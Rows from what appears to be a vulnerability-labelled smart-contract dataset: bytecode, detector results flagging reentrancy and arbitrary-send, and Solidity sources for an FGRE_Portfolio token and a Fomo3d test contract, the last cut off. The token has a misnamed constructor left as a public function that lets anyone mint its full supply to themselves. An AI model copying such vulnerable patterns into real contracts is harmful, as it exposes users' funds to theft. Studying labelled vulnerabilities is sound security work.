b6000604082019050612ff36000830185612c88565b6130006020830184612f7c565b9392505050565b600060c08201905061301c6000830189612c88565b6130296020830188612f7c565b6130366040830187612d04565b6130436060830186612d04565b6130506080830185612c88565b61305d60a0830184612f7c565b979650505050505050565b600060208201905061307d6000830184612cf5565b92915050565b6000602082019050818103600083015261309d8184612d13565b905092915050565b600060208201905081810360008301526130be81612d4c565b9050919050565b600060208201905081810360008301526130de81612d6f565b9050919050565b600060208201905081810360008301526130fe81612d92565b9050919050565b6000602082019050818103600083015261311e81612db5565b9050919050565b6000602082019050818103600083015261313e81612dd8565b9050919050565b6000602082019050818103600083015261315e81612dfb565b9050919050565b6000602082019050818103600083015261317e81612e1e565b9050919050565b6000602082019050818103600083015261319e81612e41565b9050919050565b600060208201905081810360008301526131be81612e64565b9050919050565b600060208201905081810360008301526131de81612e87565b9050919050565b600060208201905081810360008301526131fe81612eaa565b9050919050565b6000602082019050818103600083015261321e81612ecd565b9050919050565b6000602082019050818103600083015261323e81612ef0565b9050919050565b6000602082019050818103600083015261325e81612f13565b9050919050565b6000602082019050818103600083015261327e81612f36565b9050919050565b6000602082019050818103600083015261329e81612f59565b9050919050565b60006020820190506132ba6000830184612f7c565b92915050565b600060a0820190506132d56000830188612f7c565b6132e26020830187612d04565b81810360408301526132f48186612c97565b90506133036060830185612c88565b6133106080830184612f7c565b9695505050505050565b600060208201905061332f6000830184612f8b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613395826134dd565b91506133a0836134dd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133d5576133d4613539565b5b828201905092915050565b60006133eb826134dd565b91506133f6836134dd565b92508261340657613405613568565b5b828204905092915050565b600061341c826134dd565b9150613427836134dd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134605761345f613539565b5b828202905092915050565b6000613476826134dd565b9150613481836134dd565b92508282101561349457613493613539565b5b828203905092915050565b60006134aa826134bd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134ff826134dd565b9050919050565b60005b83811015613524578082015181840152602081019050613509565b83811115613533576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d617820686f6c64696e67206361702062726561636865642e00000000000000600082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b7f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460008201527f68616e2031000000000000000000000000000000000000000000000000000000602082015250565b6139bd8161349f565b81146139c857600080fd5b50565b6139d4816134b1565b81146139df57600080fd5b50565b6139eb816134dd565b81146139f657600080fd5b50565b613a02816134e7565b8114613a0d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203304a456bb6c454d4d5f408b1ab2053032e99831ecb38173f010ceee18d8fe9e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,105 |
0x77ad47549c6e2eca6ab70f811d4c7be0a799114d
|
pragma solidity ^0.4.21 ;
contract FGRE_Portfolio_IV_883 {
mapping (address => uint256) public balanceOf;
string public name = " FGRE_Portfolio_IV_883 " ;
string public symbol = " FGRE883IV " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 32288098633865000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_IV_metadata_line_1_____GROUPE_LINGENHELD_SA_20580515 >
// < 89VYugyOn2HWVg9eYXUl6sO7Eep6hrdh6h0w7ryjwNc5hS7sJU6U3ZMssD9agbex >
// < 1E-018 limites [ 1E-018 ; 1705593900,42023 ] >
// < 0x000000000000000000000000000000000000000000000000000000000A2A879E >
// < FGRE_Portfolio_IV_metadata_line_2_____GROUPE_LINGENHELD_SA_OBS_DAC_20580515 >
// < ZgRDYUwO6r2KyorejZSm4946331BO83TyTC0LFprlmJ4XxEFUv9J3w07fympKnN8 >
// < 1E-018 limites [ 1705593900,42023 ; 1902022422,84078 ] >
// < 0x00000000000000000000000000000000000000000000000000A2A879EB564182 >
// < FGRE_Portfolio_IV_metadata_line_3_____CARRIERE_DU_VIEUX_MOULIN_20580515 >
// < r1q4omFFZCvh1bc2oOgvj841xbTgcflsD6u5rf9B734LW2DgIu5k9zo8GMtIvVfI >
// < 1E-018 limites [ 1902022422,84078 ; 2615029451,87045 ] >
// < 0x00000000000000000000000000000000000000000000000000B564182F9637E1 >
// < FGRE_Portfolio_IV_metadata_line_4_____CARRIERE_DU_VIEUX_MOULIN_OBS_DAC_20580515 >
// < pAg56eK6yvE29D8xg0dqKZjse9MXu6bJdsKx6ZcNq1SyS5BDjqmXD4gHvdBdmlz9 >
// < 1E-018 limites [ 2615029451,87045 ; 2801217325,17961 ] >
// < 0x0000000000000000000000000000000000000000000000000F9637E110B25185 >
// < FGRE_Portfolio_IV_metadata_line_5_____CARRIERE_DE_TANCONVILLE_20580515 >
// < Ew47pkcwz21Og6EIDNt8wa0cWeF75P87Xi2uJ6EPeGyvJ162Lvvcq1mYLKV58Yf1 >
// < 1E-018 limites [ 2801217325,17961 ; 3038224476,52331 ] >
// < 0x00000000000000000000000000000000000000000000000010B25185121BF670 >
// < FGRE_Portfolio_IV_metadata_line_6_____CARRIERE_DE_TANCONVILLE_OBS_DAC_20580515 >
// < 2WEpas7T85hK7ai630ep85wM4JHv7WpWhf7o177NYX8DSYuEL9cgTQsvrKKirWPa >
// < 1E-018 limites [ 3038224476,52331 ; 5117427039,26729 ] >
// < 0x000000000000000000000000000000000000000000000000121BF6701E8092F0 >
// < FGRE_Portfolio_IV_metadata_line_7_____DELTA_AMENAGEMENT_ALSACE_LORRAINE_20580515 >
// < 5aMxW6Zg6l9bQEBteBA5h8DjUuen3t3VZ8n8Vxqs8Q4Iv85WrT9eCJqK2t3K2mp9 >
// < 1E-018 limites [ 5117427039,26729 ; 5685697174,60486 ] >
// < 0x0000000000000000000000000000000000000000000000001E8092F021E3AF75 >
// < FGRE_Portfolio_IV_metadata_line_8_____DELTA_PROMOTION_20580515 >
// < wafrZcPMsVyne7Uh6P9wGvCfp0Oty2pKX8zvPfPXuU0AO6v7XehV72FY2tK90222 >
// < 1E-018 limites [ 5685697174,60486 ; 6077528100,8547 ] >
// < 0x00000000000000000000000000000000000000000000000021E3AF752439926A >
// < FGRE_Portfolio_IV_metadata_line_9_____DELTA_PROMOTION_OBS_DAC_20580515 >
// < 7383Ks6Ux6Uy7QdNZS7e4ZPCc4SlYJfre4J8XT0S5X67BGAz9I2DTjaMsW06N941 >
// < 1E-018 limites [ 6077528100,8547 ; 6153294231,57834 ] >
// < 0x0000000000000000000000000000000000000000000000002439926A24AD2E8F >
// < FGRE_Portfolio_IV_metadata_line_10_____EST_ENROBES_20580515 >
// < 55tlRf3O418oc4QCcc89TME4W40wUwfItJHvW2B8UuAlk1EV9VJAVEw0t8Zf8QZb >
// < 1E-018 limites [ 6153294231,57834 ; 6242456360,7993 ] >
// < 0x00000000000000000000000000000000000000000000000024AD2E8F25353B84 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_IV_metadata_line_11_____EST_ENROBES_OBS_DAC_20580515 >
// < iMn6LNYaRCqsI59Qjt8tilE4WxSU3ZP9JQqWh6Idb6BzGm06tNKho23M8oWD0gMa >
// < 1E-018 limites [ 6242456360,7993 ; 8617470777,99238 ] >
// < 0x00000000000000000000000000000000000000000000000025353B84335D3786 >
// < FGRE_Portfolio_IV_metadata_line_12_____FEHR_BETON_ENVIRONNEMENT_20580515 >
// < f22D3k9I9vg99csjIoxFUaYJjNb5KJe8H6917Dyz6Azxf5Xd6uRz2aY7XOBUHA06 >
// < 1E-018 limites [ 8617470777,99238 ; 8915118832,47193 ] >
// < 0x000000000000000000000000000000000000000000000000335D37863523644B >
// < FGRE_Portfolio_IV_metadata_line_13_____FEHR_BETON_ENVIRONNEMENT_OBS_DAC_20580515 >
// < G9t2bk7V6gSzL1LSl481aOKkX7aUbtMV97bYl5eK2LMqkyyW5ckQF91m3xNfAZz6 >
// < 1E-018 limites [ 8915118832,47193 ; 9335830143,8938 ] >
// < 0x0000000000000000000000000000000000000000000000003523644B37A558A6 >
// < FGRE_Portfolio_IV_metadata_line_14_____LINGENHELD_ENVIRONNEMENT_20580515 >
// < eNBCcPn9u4J3I7eS8VDOBq98yhi5Pq3zL28H2pgy1qTf0G8CyOYrH4zwF7QZwC5d >
// < 1E-018 limites [ 9335830143,8938 ; 9421787943,35482 ] >
// < 0x00000000000000000000000000000000000000000000000037A558A6382881EA >
// < FGRE_Portfolio_IV_metadata_line_15_____LINGENHELD_ENVIRONNEMENT_OBS_DAC_20580515 >
// < 6F2PQA1t9zNe5uj6Urfa7zZCG8M4W3Es53fO94HMBlo0c493CO0gscoDOAOpCR7V >
// < 1E-018 limites [ 9421787943,35482 ; 10368177466,3621 ] >
// < 0x000000000000000000000000000000000000000000000000382881EA3DCC9553 >
// < FGRE_Portfolio_IV_metadata_line_16_____LINGENHELD_TRAVAUX_PUBLICS_20580515 >
// < jpMf1drf9Mpd7V2LmWv32dD285XF1Q5rt50G2bpfK1I5IEOx6cc36ir5K0v663BL >
// < 1E-018 limites [ 10368177466,3621 ; 11043456970,7643 ] >
// < 0x0000000000000000000000000000000000000000000000003DCC955341D2FA61 >
// < FGRE_Portfolio_IV_metadata_line_17_____LINGENHELD_TRAVAUX_PUBLICS_OBS_DAC_20580515 >
// < Cy6vuXz4zXlnw1M3h6v8Ih6x1g578PMULOgmEQJ1kxZ75e3nXnc0X32E3CbQgR40 >
// < 1E-018 limites [ 11043456970,7643 ; 13305247330,5751 ] >
// < 0x00000000000000000000000000000000000000000000000041D2FA614F4E323D >
// < FGRE_Portfolio_IV_metadata_line_18_____LINGENHELD_TRAVAUX_SPECIAUX_20580515 >
// < r6gvnrhB1bi325p4M06jL090EF3h4iiF0u27oQPGh2BMuKcGEW6fef3D6GV63dcZ >
// < 1E-018 limites [ 13305247330,5751 ; 14375917277,2544 ] >
// < 0x0000000000000000000000000000000000000000000000004F4E323D55AFE8B0 >
// < FGRE_Portfolio_IV_metadata_line_19_____LINGENHELD_TRAVAUX_SPECIAUX_OBS_DAC_20580515 >
// < c69XJi8pH54x3k5ty33487Fd1G4R5E9i4c7KNKd4tCD886HRfERoUT72t0nNhO8E >
// < 1E-018 limites [ 14375917277,2544 ; 14560490283,1728 ] >
// < 0x00000000000000000000000000000000000000000000000055AFE8B056C98B84 >
// < FGRE_Portfolio_IV_metadata_line_20_____LTS_LUXEMBOURG_20580515 >
// < 2C0fSyyD5U7R94Kk0vEkC4VpXGck9qwkp6W6rNqi1RB2X72JRhMbuy783t5LZ7Kc >
// < 1E-018 limites [ 14560490283,1728 ; 16441509775,544 ] >
// < 0x00000000000000000000000000000000000000000000000056C98B8461FFC0C2 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_IV_metadata_line_21_____LTS_LUXEMBOURG_OBS_DAC_20580515 >
// < 69xF4Bl924kQ8Asoa04mfH5sqI59ypye2yW9664y73k4z7T5KtOQ61zW40IWawf6 >
// < 1E-018 limites [ 16441509775,544 ; 17597183137,7498 ] >
// < 0x00000000000000000000000000000000000000000000000061FFC0C268E32BAA >
// < FGRE_Portfolio_IV_metadata_line_22_____METHAVOS_SAS_20580515 >
// < 3aRU1AC1dSO5NETbDp6oPa5BtdV2AAd3S5l69eqSB2oSf26JionQsktZjF055CpG >
// < 1E-018 limites [ 17597183137,7498 ; 17708133655,1456 ] >
// < 0x00000000000000000000000000000000000000000000000068E32BAA698C77B6 >
// < FGRE_Portfolio_IV_metadata_line_23_____METHAVOS_SAS_OBS_DAC_20580515 >
// < 2wRQO3PGxFZfam7GNOH563t85QR8IDt6p5Krc0Wz3O756Qt0FMwI3fcaWu0SFi3G >
// < 1E-018 limites [ 17708133655,1456 ; 17782556318,6929 ] >
// < 0x000000000000000000000000000000000000000000000000698C77B669FE0710 >
// < FGRE_Portfolio_IV_metadata_line_24_____MTS_MANUTENTION_TRANSPORT_SERVICES_20580515 >
// < 96xfd11i42nf277LOv3jnZU4LDV3ap32fXw7ZZdT65goG8P2604g2BQ7EcNfqVLc >
// < 1E-018 limites [ 17782556318,6929 ; 18117686542,2991 ] >
// < 0x00000000000000000000000000000000000000000000000069FE07106BFD654E >
// < FGRE_Portfolio_IV_metadata_line_25_____MTS_MANUTENTION_TRANSPORT_SERVICES_OBS_DAC_20580515 >
// < 38t1GkgRuaa7aj08DB2f9pqKCNzTnS47MDbb44SF59irvbD1W612HQBdJ07HI3JF >
// < 1E-018 limites [ 18117686542,2991 ; 18396997232,1735 ] >
// < 0x0000000000000000000000000000000000000000000000006BFD654E6DA7970B >
// < FGRE_Portfolio_IV_metadata_line_26_____SEMAROUTE_ENROBES_20580515 >
// < dS9lDTlU5euQiO3G1qOl57St1bEkKL9F2cLa9z55f98wtX59W49L064V77NAudfE >
// < 1E-018 limites [ 18396997232,1735 ; 18530242252,4897 ] >
// < 0x0000000000000000000000000000000000000000000000006DA7970B6E72E7E1 >
// < FGRE_Portfolio_IV_metadata_line_27_____SEMAROUTE_ENROBES_OBS_DAC_20580515 >
// < 8xhyGsLdH2o70q1CnZ46b7Jys7kpp95eFF2dvUPs7k8M10Noargw57Dam9v4Xz4W >
// < 1E-018 limites [ 18530242252,4897 ; 19247527405,4998 ] >
// < 0x0000000000000000000000000000000000000000000000006E72E7E172B96565 >
// < FGRE_Portfolio_IV_metadata_line_28_____SPIRALTRANS_SAS_20580515 >
// < X44GLZiAqu01RjzTyWEHAfF5TVyICiCXniD7FLOHCHiuZ1zDzB7l58Z6RZuWWyQE >
// < 1E-018 limites [ 19247527405,4998 ; 20583466136,8286 ] >
// < 0x00000000000000000000000000000000000000000000000072B965657AAFE076 >
// < FGRE_Portfolio_IV_metadata_line_29_____SPIRALTRANS_SAS_OBS_DAC_20580515 >
// < N8FAJl1E76F7xN4yi2w8nh2tPPaaBgQ12AJiKFY7AX85O43uot179d79Z36D4a7R >
// < 1E-018 limites [ 20583466136,8286 ; 21226982810,361 ] >
// < 0x0000000000000000000000000000000000000000000000007AAFE0767E85CE29 >
// < FGRE_Portfolio_IV_metadata_line_30_____LTS_sarl__ab__20580515 >
// < clu31pb3kJdi73B9ErV1M57bk00v17B9dEH42mEzcRHl7d3kcP4H6hGtg3cxsXt6 >
// < 1E-018 limites [ 21226982810,361 ; 21857654667,4109 ] >
// < 0x0000000000000000000000000000000000000000000000007E85CE298248225B >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_IV_metadata_line_31_____ORTP_SA__ab__20580515 >
// < 6584R556A7WW0068awl60TeaxEu0dWw16Gt53xfveSI6mIy9cBp2N8tPKguca9DJ >
// < 1E-018 limites [ 21857654667,4109 ; 23037465373,7383 ] >
// < 0x0000000000000000000000000000000000000000000000008248225B895061E9 >
// < FGRE_Portfolio_IV_metadata_line_32_____DESAMEST_SOLUTIONS__ab__20580515 >
// < PEi5ty0M2462R3ALw7MNO50748915r13BI7KoG1ZN415K5ecY3k541j0eiFeP1SO >
// < 1E-018 limites [ 23037465373,7383 ; 23367534916,1298 ] >
// < 0x000000000000000000000000000000000000000000000000895061E98B480754 >
// < FGRE_Portfolio_IV_metadata_line_33_____LINGENHELD_DEMOLITION__ab__20580515 >
// < 8i7017a3QRsrl9M7b3m06puoxYUr4279b2SDSWA4q4m5LFtEKtxYW83yhKP8bMZ6 >
// < 1E-018 limites [ 23367534916,1298 ; 23568851057,7405 ] >
// < 0x0000000000000000000000000000000000000000000000008B4807548C7B3672 >
// < FGRE_Portfolio_IV_metadata_line_34_____LIGENHELD_&_FILS__ab__20580515 >
// < V9x41l9T046akbnTAzil4f137SlSg4shv85CM4p01l315U2zE78DxzlcGRI4A8US >
// < 1E-018 limites [ 23568851057,7405 ; 25384664109,683 ] >
// < 0x0000000000000000000000000000000000000000000000008C7B3672974DEC6B >
// < FGRE_Portfolio_IV_metadata_line_35_____EUROPEAN_TP__ab__20580515 >
// < 4q3p4so7fPg3N28nGXj2h95q2Xmc1GH915mvHBZ5j1zNvt3Z0987QVljSTbK9Jiv >
// < 1E-018 limites [ 25384664109,683 ; 25495378182,1856 ] >
// < 0x000000000000000000000000000000000000000000000000974DEC6B97F6DC1A >
// < FGRE_Portfolio_IV_metadata_line_36_____ENVALOR_ENVIRONNEMENT__ab__20580515 >
// < kqYwZOy5PUtdG0s6B26kO562WgK0OH1Jf361609u437bYV1obWY2hW25v6t8VjD4 >
// < 1E-018 limites [ 25495378182,1856 ; ] >
// < 0x00000000000000000000000000000000000000000000000097F6DC1AA6D0C9F9 >
// < FGRE_Portfolio_IV_metadata_line_37_____HAAR_ENVIRONNEMENT__ab__20580515 >
// < zgQXQkQMobHbRh9c6R0hF2fzcCELB7S33Ki0g6cp5g0CPFKPW8p454g0cZDXueaP >
// < 1E-018 limites [ 27987010489,0193 ; 28166175926,1149 ] >
// < 0x000000000000000000000000000000000000000000000000A6D0C9F9A7E22C79 >
// < FGRE_Portfolio_IV_metadata_line_38_____AXIUM_DESAMIANTAGE__ab__20580515 >
// < QiBiW9YQnIKCEzdh6d218vmSKKu5tw4lkz64Vms618MT836c9gWxbJckGx0DFxHl >
// < 1E-018 limites [ 28166175926,1149 ; 30113604579,9814 ] >
// < 0x000000000000000000000000000000000000000000000000A7E22C79B37DB6CA >
// < FGRE_Portfolio_IV_metadata_line_39_____DELTA_AMENAGEMENT_ALSACE__ab__20580515 >
// < N4r06EuMti3Ld9e563TjRH67TDD4ox1pr6G4ru1uz3301pDSYFS4274AxXvv58N1 >
// < 1E-018 limites [ 30113604579,9814 ; 30313034545,5795 ] >
// < 0x000000000000000000000000000000000000000000000000B37DB6CAB4AE051F >
// < FGRE_Portfolio_IV_metadata_line_40_____DELTA_AMENAGEMENT_LORRAINE__ab__20580515 >
// < KnO9415z7RIbW7r03xgW3SewMx4nEoYNDX1d1iSjf0SAhNtWjKc2EI69ZjCO3SEc >
// < 1E-018 limites [ 30313034545,5795 ; 32288098633,865 ] >
// < 0x000000000000000000000000000000000000000000000000B4AE051FC073BA87 >
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a7230582044746b154da1b7f8c82976018c27b37d2682e30bb32f1954b21794a15ddfd2dd0029
|
{"success": true, "error": null, "results": {}}
| 8,106 |
0x38aefe9e8e0fc938475bfc6d7e52ae28d39febd8
|
pragma solidity 0.4.24;
/**
* DO NOT SEND ETH TO THIS CONTRACT ON MAINNET. ITS ONLY DEPLOYED ON MAINNET TO
* DISPROVE SOME FALSE CLAIMS ABOUT FOMO3D AND JEKYLL ISLAND INTERACTION. YOU
* CAN TEST ALL THE PAYABLE FUNCTIONS SENDING 0 ETH. OR BETTER YET COPY THIS TO
* THE TESTNETS.
*
* IF YOU SEND ETH TO THIS CONTRACT IT CANNOT BE RECOVERED. THERE IS NO WITHDRAW.
*
* THE CHECK BALANCE FUNCTIONS ARE FOR WHEN TESTING ON TESTNET TO SHOW THAT ALTHOUGH
* THE CORP BANK COULD BE FORCED TO REVERT TX'S OR TRY AND BURN UP ALL/MOST GAS
* FOMO3D STILL MOVES ON WITHOUT RISK OF LOCKING UP. AND IN CASES OF REVERT OR
* OOG INSIDE CORP BANK. ALL WE AT TEAM JUST WOULD ACCOMPLISH IS JUSTING OURSELVES
* OUT OF THE ETH THAT WAS TO BE SENT TO JEKYLL ISLAND. FOREVER LEAVING IT UNCLAIMABLE
* IN FOMO3D CONTACT. SO WE CAN ONLY HARM OURSELVES IF WE TRIED SUCH A USELESS
* THING. AND FOMO3D WILL CONTINUE ON, UNAFFECTED
*/
// this is deployed on mainnet at: 0x38aEfE9e8E0Fc938475bfC6d7E52aE28D39FEBD8
contract Fomo3d {
// create some data tracking vars for testing
bool public depositSuccessful_;
uint256 public successfulTransactions_;
uint256 public gasBefore_;
uint256 public gasAfter_;
// create forwarder instance
Forwarder Jekyll_Island_Inc;
// take addr for forwarder in constructor arguments
constructor(address _addr)
public
{
// set up forwarder to point to its contract location
Jekyll_Island_Inc = Forwarder(_addr);
}
// some fomo3d function that deposits to Forwarder
function someFunction()
public
payable
{
// grab gas left
gasBefore_ = gasleft();
// deposit to forwarder, uses low level call so forwards all gas
if (!address(Jekyll_Island_Inc).call.value(msg.value)(bytes4(keccak256("deposit()"))))
{
// give fomo3d work to do that needs gas. what better way than storage
// write calls, since their so costly.
depositSuccessful_ = false;
gasAfter_ = gasleft();
} else {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
}
}
// some fomo3d function that deposits to Forwarder
function someFunction2()
public
payable
{
// grab gas left
gasBefore_ = gasleft();
// deposit to forwarder, uses low level call so forwards all gas
if (!address(Jekyll_Island_Inc).call.value(msg.value)(bytes4(keccak256("deposit2()"))))
{
// give fomo3d work to do that needs gas. what better way than storage
// write calls, since their so costly.
depositSuccessful_ = false;
gasAfter_ = gasleft();
} else {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
}
}
// some fomo3d function that deposits to Forwarder
function someFunction3()
public
payable
{
// grab gas left
gasBefore_ = gasleft();
// deposit to forwarder, uses low level call so forwards all gas
if (!address(Jekyll_Island_Inc).call.value(msg.value)(bytes4(keccak256("deposit3()"))))
{
// give fomo3d work to do that needs gas. what better way than storage
// write calls, since their so costly.
